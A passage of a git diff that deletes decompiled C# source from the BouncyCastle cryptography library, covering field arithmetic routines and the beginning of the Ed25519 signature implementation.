+ (long)num10 * (long)num30 + (long)num9 * (long)num31); - ulong num102 = (ulong)num16 * (ulong)num32; - ulong num103 = (ulong)((long)num39 * (long)num41 + (long)num38 * (long)num42 + (long)num37 * (long)num43 + (long)num36 * (long)num44 + (long)num35 * (long)num45 + (long)num34 * (long)num46 + (long)num33 * (long)num47); - ulong num104 = (ulong)num40 * (ulong)num48; - num55 += num99 + num101 + num104 - num100; - uint num105 = (uint)((int)num55 & 0xFFFFFFF); - num55 >>= 28; - num57 += num102 + num103 - num99 + num104; - uint num106 = (uint)((int)num57 & 0xFFFFFFF); - num57 >>= 28; - ulong num107 = (ulong)((long)num8 * (long)num17 + (long)num7 * (long)num18 + (long)num6 * (long)num19 + (long)num5 * (long)num20 + (long)num4 * (long)num21 + (long)num3 * (long)num22 + (long)num2 * (long)num23 + (long)num * (long)num24); - ulong num108 = (ulong)((long)num16 * (long)num25 + (long)num15 * (long)num26 + (long)num14 * (long)num27 + (long)num13 * (long)num28 + (long)num12 * (long)num29 + (long)num11 * (long)num30 + (long)num10 * (long)num31 + (long)num9 * (long)num32); - ulong num109 = (ulong)((long)num40 * (long)num41 + (long)num39 * (long)num42 + (long)num38 * (long)num43 + (long)num37 * (long)num44 + (long)num36 * (long)num45 + (long)num35 * (long)num46 + (long)num34 * (long)num47 + (long)num33 * (long)num48); - num55 += num107 + num108; - uint num110 = (uint)((int)num55 & 0xFFFFFFF); - num55 >>= 28; - num57 += num109 - num107; - uint num111 = (uint)((int)num57 & 0xFFFFFFF); - num57 >>= 28; - num55 += num57; - num55 += num58; - num58 = (uint)((int)num55 & 0xFFFFFFF); - num55 >>= 28; - num57 += num56; - num56 = (uint)((int)num57 & 0xFFFFFFF); - num57 >>= 28; - num66 += (uint)(int)num55; - num65 += (uint)(int)num57; - z[0] = num56; - z[1] = num65; - z[2] = num73; - z[3] = num81; - z[4] = num89; - z[5] = num97; - z[6] = num105; - z[7] = num110; - z[8] = num58; - z[9] = num66; - z[10] = num74; - z[11] = num82; - z[12] = num90; - z[13] = num98; - z[14] = num106; - z[15] = num111; - } - - public static void Negate(uint[] x, uint[] z) - { - uint[] x2 = Create(); - Sub(x2, x, z); - } - - public static void Normalize(uint[] z) - { - Reduce(z, 1); - Reduce(z, -1); - } - - public static void One(uint[] z) - { - z[0] = 1u; - for (int i = 1; i < 16; i++) - { - z[i] = 0u; - } - } - - private static void PowPm3d4(uint[] x, uint[] z) - { - uint[] array = Create(); - Sqr(x, array); - Mul(x, array, array); - uint[] array2 = Create(); - Sqr(array, array2); - Mul(x, array2, array2); - uint[] array3 = Create(); - Sqr(array2, 3, array3); - Mul(array2, array3, array3); - uint[] array4 = Create(); - Sqr(array3, 3, array4); - Mul(array2, array4, array4); - uint[] array5 = Create(); - Sqr(array4, 9, array5); - Mul(array4, array5, array5); - uint[] array6 = Create(); - Sqr(array5, array6); - Mul(x, array6, array6); - uint[] array7 = Create(); - Sqr(array6, 18, array7); - Mul(array5, array7, array7); - uint[] array8 = Create(); - Sqr(array7, 37, array8); - Mul(array7, array8, array8); - uint[] array9 = Create(); - Sqr(array8, 37, array9); - Mul(array7, array9, array9); - uint[] array10 = Create(); - Sqr(array9, 111, array10); - Mul(array9, array10, array10); - uint[] array11 = Create(); - Sqr(array10, array11); - Mul(x, array11, array11); - uint[] array12 = Create(); - Sqr(array11, 223, array12); - Mul(array12, array10, z); - } - - private static void Reduce(uint[] z, int c) - { - uint num = z[15]; - long num2 = num; - num &= 0xFFFFFFF; - num2 = (num2 >> 28) + c; - uint[] array; - (array = z)[8] = array[8] + (uint)(int)num2; - for (int i = 0; i < 15; i++) - { - num2 += z[i]; - z[i] = (uint)((int)num2 & 0xFFFFFFF); - num2 >>= 28; - } - z[15] = num + (uint)(int)num2; - } - - public static void Sqr(uint[] x, uint[] z) - { - uint num = x[0]; - uint num2 = x[1]; - uint num3 = x[2]; - uint num4 = x[3]; - uint num5 = x[4]; - uint num6 = x[5]; - uint num7 = x[6]; - uint num8 = x[7]; - uint num9 = x[8]; - uint num10 = x[9]; - uint num11 = x[10]; - uint num12 = x[11]; - uint num13 = x[12]; - uint num14 = x[13]; - uint num15 = x[14]; - uint num16 = x[15]; - uint num17 = num * 2; - uint num18 = num2 * 2; - uint num19 = num3 * 2; - uint num20 = num4 * 2; - uint num21 = num5 * 2; - uint num22 = num6 * 2; - uint num23 = num7 * 2; - uint num24 = num9 * 2; - uint num25 = num10 * 2; - uint num26 = num11 * 2; - uint num27 = num12 * 2; - uint num28 = num13 * 2; - uint num29 = num14 * 2; - uint num30 = num15 * 2; - uint num31 = num + num9; - uint num32 = num2 + num10; - uint num33 = num3 + num11; - uint num34 = num4 + num12; - uint num35 = num5 + num13; - uint num36 = num6 + num14; - uint num37 = num7 + num15; - uint num38 = num8 + num16; - uint num39 = num31 * 2; - uint num40 = num32 * 2; - uint num41 = num33 * 2; - uint num42 = num34 * 2; - uint num43 = num35 * 2; - uint num44 = num36 * 2; - uint num45 = num37 * 2; - ulong num46 = (ulong)num * (ulong)num; - ulong num47 = (ulong)((long)num8 * (long)num18 + (long)num7 * (long)num19 + (long)num6 * (long)num20 + (long)num5 * (long)num5); - ulong num48 = (ulong)num9 * (ulong)num9; - ulong num49 = (ulong)((long)num16 * (long)num25 + (long)num15 * (long)num26 + (long)num14 * (long)num27 + (long)num13 * (long)num13); - ulong num50 = (ulong)num31 * (ulong)num31; - ulong num51 = (ulong)((long)num38 * (long)num40 + (long)num37 * (long)num41 + (long)num36 * (long)num42 + (long)num35 * (long)num35); - ulong num52 = num46 + num48 + num51 - num47; - uint num53 = (uint)((int)num52 & 0xFFFFFFF); - num52 >>= 28; - ulong num54 = num49 + num50 - num46 + num51; - uint num55 = (uint)((int)num54 & 0xFFFFFFF); - num54 >>= 28; - ulong num56 = (ulong)num2 * (ulong)num17; - ulong num57 = (ulong)((long)num8 * (long)num19 + (long)num7 * (long)num20 + (long)num6 * (long)num21); - ulong num58 = (ulong)num10 * (ulong)num24; - ulong num59 = (ulong)((long)num16 * (long)num26 + (long)num15 * (long)num27 + (long)num14 * (long)num28); - ulong num60 = (ulong)num32 * (ulong)num39; - ulong num61 = (ulong)((long)num38 * (long)num41 + (long)num37 * (long)num42 + (long)num36 * (long)num43); - num52 += num56 + num58 + num61 - num57; - uint num62 = (uint)((int)num52 & 0xFFFFFFF); - num52 >>= 28; - num54 += num59 + num60 - num56 + num61; - uint num63 = (uint)((int)num54 & 0xFFFFFFF); - num54 >>= 28; - ulong num64 = (ulong)((long)num3 * (long)num17 + (long)num2 * (long)num2); - ulong num65 = (ulong)((long)num8 * (long)num20 + (long)num7 * (long)num21 + (long)num6 * (long)num6); - ulong num66 = (ulong)((long)num11 * (long)num24 + (long)num10 * (long)num10); - ulong num67 = (ulong)((long)num16 * (long)num27 + (long)num15 * (long)num28 + (long)num14 * (long)num14); - ulong num68 = (ulong)((long)num33 * (long)num39 + (long)num32 * (long)num32); - ulong num69 = (ulong)((long)num38 * (long)num42 + (long)num37 * (long)num43 + (long)num36 * (long)num36); - num52 += num64 + num66 + num69 - num65; - uint num70 = (uint)((int)num52 & 0xFFFFFFF); - num52 >>= 28; - num54 += num67 + num68 - num64 + num69; - uint num71 = (uint)((int)num54 & 0xFFFFFFF); - num54 >>= 28; - ulong num72 = (ulong)((long)num4 * (long)num17 + (long)num3 * (long)num18); - ulong num73 = (ulong)((long)num8 * (long)num21 + (long)num7 * (long)num22); - ulong num74 = (ulong)((long)num12 * (long)num24 + (long)num11 * (long)num25); - ulong num75 = (ulong)((long)num16 * (long)num28 + (long)num15 * (long)num29); - ulong num76 = (ulong)((long)num34 * (long)num39 + (long)num33 * (long)num40); - ulong num77 = (ulong)((long)num38 * (long)num43 + (long)num37 * (long)num44); - num52 += num72 + num74 + num77 - num73; - uint num78 = (uint)((int)num52 & 0xFFFFFFF); - num52 >>= 28; - num54 += num75 + num76 - num72 + num77; - uint num79 = (uint)((int)num54 & 0xFFFFFFF); - num54 >>= 28; - ulong num80 = (ulong)((long)num5 * (long)num17 + (long)num4 * (long)num18 + (long)num3 * (long)num3); - ulong num81 = (ulong)((long)num8 * (long)num22 + (long)num7 * (long)num7); - ulong num82 = (ulong)((long)num13 * (long)num24 + (long)num12 * (long)num25 + (long)num11 * (long)num11); - ulong num83 = (ulong)((long)num16 * (long)num29 + (long)num15 * (long)num15); - ulong num84 = (ulong)((long)num35 * (long)num39 + (long)num34 * (long)num40 + (long)num33 * (long)num33); - ulong num85 = (ulong)((long)num38 * (long)num44 + (long)num37 * (long)num37); - num52 += num80 + num82 + num85 - num81; - uint num86 = (uint)((int)num52 & 0xFFFFFFF); - num52 >>= 28; - num54 += num83 + num84 - num80 + num85; - uint num87 = (uint)((int)num54 & 0xFFFFFFF); - num54 >>= 28; - ulong num88 = (ulong)((long)num6 * (long)num17 + (long)num5 * (long)num18 + (long)num4 * (long)num19); - ulong num89 = (ulong)num8 * (ulong)num23; - ulong num90 = (ulong)((long)num14 * (long)num24 + (long)num13 * (long)num25 + (long)num12 * (long)num26); - ulong num91 = (ulong)num16 * (ulong)num30; - ulong num92 = (ulong)((long)num36 * (long)num39 + (long)num35 * (long)num40 + (long)num34 * (long)num41); - ulong num93 = (ulong)num38 * (ulong)num45; - num52 += num88 + num90 + num93 - num89; - uint num94 = (uint)((int)num52 & 0xFFFFFFF); - num52 >>= 28; - num54 += num91 + num92 - num88 + num93; - uint num95 = (uint)((int)num54 & 0xFFFFFFF); - num54 >>= 28; - ulong num96 = (ulong)((long)num7 * (long)num17 + (long)num6 * (long)num18 + (long)num5 * (long)num19 + (long)num4 * (long)num4); - ulong num97 = (ulong)num8 * (ulong)num8; - ulong num98 = (ulong)((long)num15 * (long)num24 + (long)num14 * (long)num25 + (long)num13 * (long)num26 + (long)num12 * (long)num12); - ulong num99 = (ulong)num16 * (ulong)num16; - ulong num100 = (ulong)((long)num37 * (long)num39 + (long)num36 * (long)num40 + (long)num35 * (long)num41 + (long)num34 * (long)num34); - ulong num101 = (ulong)num38 * (ulong)num38; - num52 += num96 + num98 + num101 - num97; - uint num102 = (uint)((int)num52 & 0xFFFFFFF); - num52 >>= 28; - num54 += num99 + num100 - num96 + num101; - uint num103 = (uint)((int)num54 & 0xFFFFFFF); - num54 >>= 28; - ulong num104 = (ulong)((long)num8 * (long)num17 + (long)num7 * (long)num18 + (long)num6 * (long)num19 + (long)num5 * (long)num20); - ulong num105 = (ulong)((long)num16 * (long)num24 + (long)num15 * (long)num25 + (long)num14 * (long)num26 + (long)num13 * (long)num27); - ulong num106 = (ulong)((long)num38 * (long)num39 + (long)num37 * (long)num40 + (long)num36 * (long)num41 + (long)num35 * (long)num42); - num52 += num104 + num105; - uint num107 = (uint)((int)num52 & 0xFFFFFFF); - num52 >>= 28; - num54 += num106 - num104; - uint num108 = (uint)((int)num54 & 0xFFFFFFF); - num54 >>= 28; - num52 += num54; - num52 += num55; - num55 = (uint)((int)num52 & 0xFFFFFFF); - num52 >>= 28; - num54 += num53; - num53 = (uint)((int)num54 & 0xFFFFFFF); - num54 >>= 28; - num63 += (uint)(int)num52; - num62 += (uint)(int)num54; - z[0] = num53; - z[1] = num62; - z[2] = num70; - z[3] = num78; - z[4] = num86; - z[5] = num94; - z[6] = num102; - z[7] = num107; - z[8] = num55; - z[9] = num63; - z[10] = num71; - z[11] = num79; - z[12] = num87; - z[13] = num95; - z[14] = num103; - z[15] = num108; - } - - public static void Sqr(uint[] x, int n, uint[] z) - { - Sqr(x, z); - while (--n > 0) - { - Sqr(z, z); - } - } - - public static bool SqrtRatioVar(uint[] u, uint[] v, uint[] z) - { - uint[] array = Create(); - uint[] array2 = Create(); - Sqr(u, array); - Mul(array, v, array); - Sqr(array, array2); - Mul(array, u, array); - Mul(array2, u, array2); - Mul(array2, v, array2); - uint[] array3 = Create(); - PowPm3d4(array2, array3); - Mul(array3, array, array3); - uint[] array4 = Create(); - Sqr(array3, array4); - Mul(array4, v, array4); - Sub(u, array4, array4); - Normalize(array4); - if (IsZeroVar(array4)) - { - Copy(array3, 0, z, 0); - return true; - } - return false; - } - - public static void Sub(uint[] x, uint[] y, uint[] z) - { - uint num = x[0]; - uint num2 = x[1]; - uint num3 = x[2]; - uint num4 = x[3]; - uint num5 = x[4]; - uint num6 = x[5]; - uint num7 = x[6]; - uint num8 = x[7]; - uint num9 = x[8]; - uint num10 = x[9]; - uint num11 = x[10]; - uint num12 = x[11]; - uint num13 = x[12]; - uint num14 = x[13]; - uint num15 = x[14]; - uint num16 = x[15]; - uint num17 = y[0]; - uint num18 = y[1]; - uint num19 = y[2]; - uint num20 = y[3]; - uint num21 = y[4]; - uint num22 = y[5]; - uint num23 = y[6]; - uint num24 = y[7]; - uint num25 = y[8]; - uint num26 = y[9]; - uint num27 = y[10]; - uint num28 = y[11]; - uint num29 = y[12]; - uint num30 = y[13]; - uint num31 = y[14]; - uint num32 = y[15]; - uint num33 = num + 536870910 - num17; - uint num34 = num2 + 536870910 - num18; - uint num35 = num3 + 536870910 - num19; - uint num36 = num4 + 536870910 - num20; - uint num37 = num5 + 536870910 - num21; - uint num38 = num6 + 536870910 - num22; - uint num39 = num7 + 536870910 - num23; - uint num40 = num8 + 536870910 - num24; - uint num41 = num9 + 536870908 - num25; - uint num42 = num10 + 536870910 - num26; - uint num43 = num11 + 536870910 - num27; - uint num44 = num12 + 536870910 - num28; - uint num45 = num13 + 536870910 - num29; - uint num46 = num14 + 536870910 - num30; - uint num47 = num15 + 536870910 - num31; - uint num48 = num16 + 536870910 - num32; - num35 += num34 >> 28; - num34 &= 0xFFFFFFF; - num39 += num38 >> 28; - num38 &= 0xFFFFFFF; - num43 += num42 >> 28; - num42 &= 0xFFFFFFF; - num47 += num46 >> 28; - num46 &= 0xFFFFFFF; - num36 += num35 >> 28; - num35 &= 0xFFFFFFF; - num40 += num39 >> 28; - num39 &= 0xFFFFFFF; - num44 += num43 >> 28; - num43 &= 0xFFFFFFF; - num48 += num47 >> 28; - num47 &= 0xFFFFFFF; - uint num49 = num48 >> 28; - num48 &= 0xFFFFFFF; - num33 += num49; - num41 += num49; - num37 += num36 >> 28; - num36 &= 0xFFFFFFF; - num41 += num40 >> 28; - num40 &= 0xFFFFFFF; - num45 += num44 >> 28; - num44 &= 0xFFFFFFF; - num34 += num33 >> 28; - num33 &= 0xFFFFFFF; - num38 += num37 >> 28; - num37 &= 0xFFFFFFF; - num42 += num41 >> 28; - num41 &= 0xFFFFFFF; - num46 += num45 >> 28; - num45 &= 0xFFFFFFF; - z[0] = num33; - z[1] = num34; - z[2] = num35; - z[3] = num36; - z[4] = num37; - z[5] = num38; - z[6] = num39; - z[7] = num40; - z[8] = num41; - z[9] = num42; - z[10] = num43; - z[11] = num44; - z[12] = num45; - z[13] = num46; - z[14] = num47; - z[15] = num48; - } - - public static void Zero(uint[] z) - { - for (int i = 0; i < 16; i++) - { - z[i] = 0u; - } - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/EC/Rfc8032/Ed25519.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/EC/Rfc8032/Ed25519.cs deleted file mode 100644 index d0858c1..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/EC/Rfc8032/Ed25519.cs +++ /dev/null @@ -1,1050 +0,0 @@ -using System; -using Org.BouncyCastle.Crypto; -using Org.BouncyCastle.Crypto.Digests; -using Org.BouncyCastle.Math.EC.Rfc7748; -using Org.BouncyCastle.Math.Raw; -using Org.BouncyCastle.Security; -using Org.BouncyCastle.Utilities; - -namespace Org.BouncyCastle.Math.EC.Rfc8032; - -public abstract class Ed25519 -{ - public enum Algorithm - { - Ed25519, - Ed25519ctx, - Ed25519ph - } - - private class PointAccum - { - internal int[] x = X25519Field.Create(); - - internal int[] y = X25519Field.Create(); - - internal int[] z = X25519Field.Create(); - - internal int[] u = X25519Field.Create(); - - internal int[] v = X25519Field.Create(); - } - - private class PointExt - { - internal int[] x = X25519Field.Create(); - - internal int[] y = X25519Field.Create(); - - internal int[] z = X25519Field.Create(); - - internal int[] t = X25519Field.Create(); - } - - private class PointPrecomp - { - internal int[] ypx_h = X25519Field.Create(); - - internal int[] ymx_h = X25519Field.Create(); - - internal int[] xyd = X25519Field.Create(); - } - - private const long M28L = 268435455L; - - private const long M32L = 4294967295L; - - private const int PointBytes = 32; - - private const int ScalarUints = 8; - - private const int ScalarBytes = 32; - - private const int L0 = -50998291; - - private const int L1 = 19280294; - - private const int L2 = 127719000; - - private const int L3 = -6428113; - - private const int L4 = 5343; - - private const int WnafWidthBase = 7; - - private const int PrecompBlocks = 8; - - private const int PrecompTeeth = 4; - - private const int PrecompSpacing = 8; - - private const int PrecompPoints = 8; - - private const int PrecompMask = 7; - - public static readonly int PrehashSize = 64; - - public static readonly int PublicKeySize = 32; - - public static readonly int SecretKeySize = 32; - - public static readonly int SignatureSize = 64; - - private static readonly byte[] Dom2Prefix = Strings.ToByteArray("SigEd25519 no Ed25519 collisions"); - - private static readonly uint[] P = new uint[8] { 4294967277u, 4294967295u, 4294967295u, 4294967295u, 4294967295u, 4294967295u, 4294967295u, 2147483647u }; - - private static readonly uint[] L = new uint[8] { 1559614445u, 1477600026u, 2734136534u, 350157278u, 0u, 0u, 0u, 268435456u }; - - private static readonly int[] B_x = new int[10] { 52811034, 25909283, 8072341, 50637101, 13785486, 30858332, 20483199, 20966410, 43936626, 4379245 }; - - private static readonly int[] B_y = new int[10] { 40265304, 26843545, 6710886, 53687091, 13421772, 40265318, 26843545, 6710886, 53687091, 13421772 }; - - private static readonly int[] C_d = new int[10] { 56195235, 47411844, 25868126, 40503822, 57364, 58321048, 30416477, 31930572, 57760639, 10749657 }; - - private static readonly int[] C_d2 = new int[10] { 45281625, 27714825, 18181821, 13898781, 114729, 49533232, 60832955, 30306712, 48412415, 4722099 }; - - private static readonly int[] C_d4 = new int[10] { 23454386, 55429651, 2809210, 27797563, 229458, 31957600, 54557047, 27058993, 29715967, 9444199 }; - - private static readonly object precompLock = new object(); - - private static PointExt[] precompBaseTable = null; - - private static int[] precompBase = null; - - private static byte[] CalculateS(byte[] r, byte[] k, byte[] s) - { - uint[] array = new uint[16]; - DecodeScalar(r, 0, array); - uint[] array2 = new uint[8]; - DecodeScalar(k, 0, array2); - uint[] array3 = new uint[8]; - DecodeScalar(s, 0, array3); - Nat256.MulAddTo(array2, array3, array); - byte[] array4 = new byte[64]; - for (int i = 0; i < array.Length; i++) - { - Encode32(array[i], array4, i * 4); - } - return ReduceScalar(array4); - } - - private static bool CheckContextVar(byte[] ctx, byte phflag) - { - if (ctx != null || phflag != 0) - { - if (ctx != null) - { - return ctx.Length < 256; - } - return false; - } - return true; - } - - private static bool CheckPointVar(byte[] p) - { - uint[] array = new uint[8]; - Decode32(p, 0, array, 0, 8); - uint[] array2; - (array2 = array)[7] = array2[7] & 0x7FFFFFFF; - return !Nat256.Gte(array, P); - } - - private static bool CheckScalarVar(byte[] s) - { - uint[] array = new uint[8]; - DecodeScalar(s, 0, array); - return !Nat256.Gte(array, L); - } - - private static IDigest CreateDigest() - { - return new Sha512Digest(); - } - - public static IDigest CreatePrehash() - { - return CreateDigest(); - } - - private static uint Decode24(byte[] bs, int off) - { - uint num = bs[off]; - num |= (uint)(bs[++off] << 8); - return num | (uint)(bs[++off] << 16); - } - - private static uint Decode32(byte[] bs, int off) - { - uint num = bs[off]; - num |= (uint)(bs[++off] << 8); - num |= (uint)(bs[++off] << 16); - return num | (uint)(bs[++off] << 24); - } - - private static void Decode32(byte[] bs, int bsOff, uint[] n, int nOff, int nLen) - { - for (int i = 0; i < nLen; i++) - { - n[nOff + i] = Decode32(bs, bsOff + i * 4); - } - } - - private static bool DecodePointVar(byte[] p, int pOff, bool negate, PointExt r) - { - byte[] array = Arrays.CopyOfRange(p, pOff, pOff + 32); - if (!CheckPointVar(array)) - { - return false; - } - int num = (array[31] & 0x80) >> 7; - byte[] array2; - (array2 = array)[31] = (byte)(array2[31] & 0x7F); - X25519Field.Decode(array, 0, r.y); - int[] array3 = X25519Field.Create(); - int[] array4 = X25519Field.Create(); - X25519Field.Sqr(r.y, array3); - X25519Field.Mul(C_d, array3, array4); - X25519Field.SubOne(array3); - X25519Field.AddOne(array4); - if (!X25519Field.SqrtRatioVar(array3, array4, r.x)) - { - return false; - } - X25519Field.Normalize(r.x); - if (num == 1 && X25519Field.IsZeroVar(r.x)) - { - return false; - } - if (negate ^ (num != (r.x[0] & 1))) - { - X25519Field.Negate(r.x, r.x); - } - PointExtendXY(r); - return true; - } - - private static void DecodeScalar(byte[] k, int kOff, uint[] n) - { - Decode32(k, kOff, n, 0, 8); - } - - private static void Dom2(IDigest d, byte phflag, byte[] ctx) - { - if (ctx != null) - { - d.BlockUpdate(Dom2Prefix, 0, Dom2Prefix.Length); - d.Update(phflag); - d.Update((byte)ctx.Length); - d.BlockUpdate(ctx, 0, ctx.Length); - } - } - - private static void Encode24(uint n, byte[] bs, int off) - { - bs[off] = (byte)n; - bs[++off] = (byte)(n >> 8); - bs[++off] = (byte)(n >> 16); - } - - private static void Encode32(uint n, byte[] bs, int off) - { - bs[off] = (byte)n; - bs[++off] = (byte)(n >> 8); - bs[++off] = (byte)(n >> 16); - bs[++off] = (byte)(n >> 24); - } - - private static void Encode56(ulong n, byte[] bs, int off) - { - Encode32((uint)n, bs, off); - Encode24((uint)(n >> 32), bs, off + 4); - } - - private static void EncodePoint(PointAccum p, byte[] r, int rOff) - { - int[] array = X25519Field.Create(); - int[] array2 = X25519Field.Create(); - X25519Field.Inv(p.z, array2); - X25519Field.Mul(p.x, array2, array); - X25519Field.Mul(p.y, array2, array2); - X25519Field.Normalize(array); - X25519Field.Normalize(array2); - X25519Field.Encode(array2, r, rOff); - byte[] array4; - byte[] array3 = (array4 = r); - int num = rOff + 32 - 1; - nint num2 = num; - array3[num] = (byte)(array4[num2] | (byte)((array[0] & 1) << 7)); - } - - public static void GeneratePrivateKey(SecureRandom random, byte[] k) - { - random.NextBytes(k); - } - - public static void GeneratePublicKey(byte[] sk, int skOff, byte[] pk, int pkOff) - { - IDigest digest = CreateDigest(); - byte[] array = new byte[digest.GetDigestSize()]; - digest.BlockUpdate(sk, skOff, SecretKeySize); - digest.DoFinal(array, 0); - byte[] array2 = new byte[32]; - PruneScalar(array, 0, array2); - ScalarMultBaseEncoded(array2, pk, pkOff); - } - - private static sbyte[] GetWnaf(uint[] n, int width) - { - uint[] array = new uint[16]; - uint num = 0u; - int num2 = array.Length; - int num3 = 8; - while (--num3 >= 0) - { - uint num4 = n[num3]; - array[--num2] = (num4 >> 16) | (num << 16); - num = (array[--num2] = num4); - } - sbyte[] array2 = new sbyte[256]; - uint num5 = (uint)(1 << width); - uint num6 = num5 - 1; - uint num7 = num5 >> 1; - uint num8 = 0u; - int num9 = 0; - int num10 = 0; - while (num10 < array.Length) - { - uint num11 = array[num10]; - while (num9 < 16) - { - uint num12 = num11 >> num9; - uint num13 = num12 & 1; - if (num13 == num8) - { - num9++; - continue; - } - uint num14 = (num12 & num6) + num8; - num8 = num14 & num7; - num14 -= num8 << 1; - num8 >>= width - 1; - array2[(num10 << 4) + num9] = (sbyte)num14; - num9 += width; - } - num10++; - num9 -= 16; - } - return array2; - } - - private static void ImplSign(IDigest d, byte[] h, byte[] s, byte[] pk, int pkOff, byte[] ctx, byte phflag, byte[] m, int mOff, int mLen, byte[] sig, int sigOff) - { - Dom2(d, phflag, ctx); - d.BlockUpdate(h, 32, 32); - d.BlockUpdate(m, mOff, mLen); - d.DoFinal(h, 0); - byte[] array = ReduceScalar(h); - byte[] array2 = new byte[32]; - ScalarMultBaseEncoded(array, array2, 0); - Dom2(d, phflag, ctx); - d.BlockUpdate(array2, 0, 32); - d.BlockUpdate(pk, pkOff, 32); - d.BlockUpdate(m, mOff, mLen); - d.DoFinal(h, 0); - byte[] k = ReduceScalar(h); - byte[] sourceArray = CalculateS(array, k, s); - Array.Copy(array2, 0, sig, sigOff, 32); - Array.Copy(sourceArray, 0, sig, sigOff + 32, 32); - } - - private static void ImplSign(byte[] sk, int skOff, byte[] ctx, byte phflag, byte[] m, int mOff, int mLen, byte[] sig, int sigOff) - { - if (!CheckContextVar(ctx, phflag)) - { - throw new ArgumentException("ctx"); - } - IDigest digest = CreateDigest(); - byte[] array = new byte[digest.GetDigestSize()]; - digest.BlockUpdate(sk, skOff, SecretKeySize); - digest.DoFinal(array, 0); - byte[] array2 = new byte[32]; - PruneScalar(array, 0, array2); - byte[] array3 = new byte[32]; - ScalarMultBaseEncoded(array2, array3, 0); - ImplSign(digest, array, array2, array3, 0, ctx, phflag, m, mOff, mLen, sig, sigOff); - } - - private static void ImplSign(byte[] sk, int skOff, byte[] pk, int pkOff, byte[] ctx, byte phflag, byte[] m, int mOff, int mLen, byte[] sig, int sigOff) - { - if (!CheckContextVar(ctx, phflag)) - { - throw new ArgumentException("ctx"); - } - IDigest digest = CreateDigest(); - byte[] array = new byte[digest.GetDigestSize()]; - digest.BlockUpdate(sk, skOff, SecretKeySize); - digest.DoFinal(array, 0); - byte[] array2 = new byte[32]; - PruneScalar(array, 0, array2); - ImplSign(digest, array, array2, pk, pkOff, ctx, phflag, m, mOff, mLen, sig, sigOff); - } - - private static bool ImplVerify(byte[] sig, int sigOff, byte[] pk, int pkOff, byte[] ctx, byte phflag, byte[] m, int mOff, int mLen) - { - if (!CheckContextVar(ctx, phflag)) - { - throw new ArgumentException("ctx"); - } - byte[] array = Arrays.CopyOfRange(sig, sigOff, sigOff + 32); - byte[] array2 = Arrays.CopyOfRange(sig, sigOff + 32, sigOff + SignatureSize); - if (!CheckPointVar(array)) - { - return false; - } - if (!CheckScalarVar(array2)) - { - return false; - } - PointExt pointExt = new PointExt(); - if (!DecodePointVar(pk, pkOff, negate: true, pointExt)) - { - return false; - } - IDigest digest = CreateDigest(); - byte[] array3 = new byte[digest.GetDigestSize()]; - Dom2(digest, phflag, ctx); - digest.BlockUpdate(array, 0, 32); - digest.BlockUpdate(pk, pkOff, 32); - digest.BlockUpdate(m, mOff, mLen); - digest.DoFinal(array3, 0); - byte[] k = ReduceScalar(array3); - uint[] array4 = new uint[8]; - DecodeScalar(array2, 0, array4); - uint[] array5 = new uint[8]; - DecodeScalar(k, 0, array5); - PointAccum pointAccum = new PointAccum(); - ScalarMultStraussVar(array4, array5, pointExt, pointAccum); - byte[] array6 = new byte[32]; - EncodePoint(pointAccum, array6, 0); - return Arrays.AreEqual(array6, array); - } - - private static void PointAddVar(bool negate, PointExt p, PointAccum r) - { - int[] array = X25519Field.Create(); - int[] array2 = X25519Field.Create(); - int[] array3 = X25519Field.Create(); - int[] array4 = X25519Field.Create(); - int[] u = r.u; - int[] array5 = X25519Field.Create(); - int[] array6 = X25519Field.Create(); - int[] v = r.v; - int[] zm; - int[] zp; - int[] zm2; - int[] array7; - if (negate) - { - zm = array4; - zp = array3; - zm2 = array6; - array7 = array5; - } - else - { - zm = array3; - zp = array4; - zm2 = array5; - array7 = array6; - } - X25519Field.Apm(r.y, r.x, array2, array); - X25519Field.Apm(p.y, p.x, zp, zm); - X25519Field.Mul(array, array3, array); - X25519Field.Mul(array2, array4, array2); - X25519Field.Mul(r.u, r.v, array3); - X25519Field.Mul(array3, p.t, array3); - X25519Field.Mul(array3, C_d2, array3); - X25519Field.Mul(r.z, p.z, array4); - X25519Field.Add(array4, array4, array4); - X25519Field.Apm(array2, array, v, u); - X25519Field.Apm(array4, array3, array7, zm2); - X25519Field.Carry(array7); - X25519Field.Mul(u, array5, r.x); - X25519Field.Mul(array6, v, r.y); - X25519Field.Mul(array5, array6, r.z); - } - - private static void PointAddVar(bool negate, PointExt p, PointExt q, PointExt r) - { - int[] array = X25519Field.Create(); - int[] array2 = X25519Field.Create(); - int[] array3 = X25519Field.Create(); - int[] array4 = X25519Field.Create(); - int[] array5 = X25519Field.Create(); - int[] array6 = X25519Field.Create(); - int[] array7 = X25519Field.Create(); - int[] array8 = X25519Field.Create(); - int[] zm; - int[] zp; - int[] zm2; - int[] array9; - if (negate) - { - zm = array4; - zp = array3; - zm2 = array7; - array9 = array6; - } - else - { - zm = array3; - zp = array4; - zm2 = array6; - array9 = array7; - } - X25519Field.Apm(p.y, p.x, array2, array); - X25519Field.Apm(q.y, q.x, zp, zm); - X25519Field.Mul(array, array3, array); - X25519Field.Mul(array2, array4, array2); - X25519Field.Mul(p.t, q.t, array3); - X25519Field.Mul(array3, C_d2, array3); - X25519Field.Mul(p.z, q.z, array4); - X25519Field.Add(array4, array4, array4); - X25519Field.Apm(array2, array, array8, array5); - X25519Field.Apm(array4, array3, array9, zm2); - X25519Field.Carry(array9); - X25519Field.Mul(array5, array6, r.x); - X25519Field.Mul(array7, array8, r.y); - X25519Field.Mul(array6, array7, r.z); - X25519Field.Mul(array5, array8, r.t); - } - - private static void PointAddPrecomp(PointPrecomp p, PointAccum r) - { - int[] array = X25519Field.Create(); - int[] array2 = X25519Field.Create(); - int[] array3 = X25519Field.Create(); - int[] u = r.u; - int[] array4 = X25519Field.Create(); - int[] array5 = X25519Field.Create(); - int[] v = r.v; - X25519Field.Apm(r.y, r.x, array2, array); - X25519Field.Mul(array, p.ymx_h, array); - X25519Field.Mul(array2, p.ypx_h, array2); - X25519Field.Mul(r.u, r.v, array3); - X25519Field.Mul(array3, p.xyd, array3); - X25519Field.Apm(array2, array, v, u); - X25519Field.Apm(r.z, array3, array5, array4); - X25519Field.Carry(array5); - X25519Field.Mul(u, array4, r.x); - X25519Field.Mul(array5, v, r.y); - X25519Field.Mul(array4, array5, r.z); - } - - private static PointExt PointCopy(PointAccum p) - { - PointExt pointExt = new PointExt(); - X25519Field.Copy(p.x, 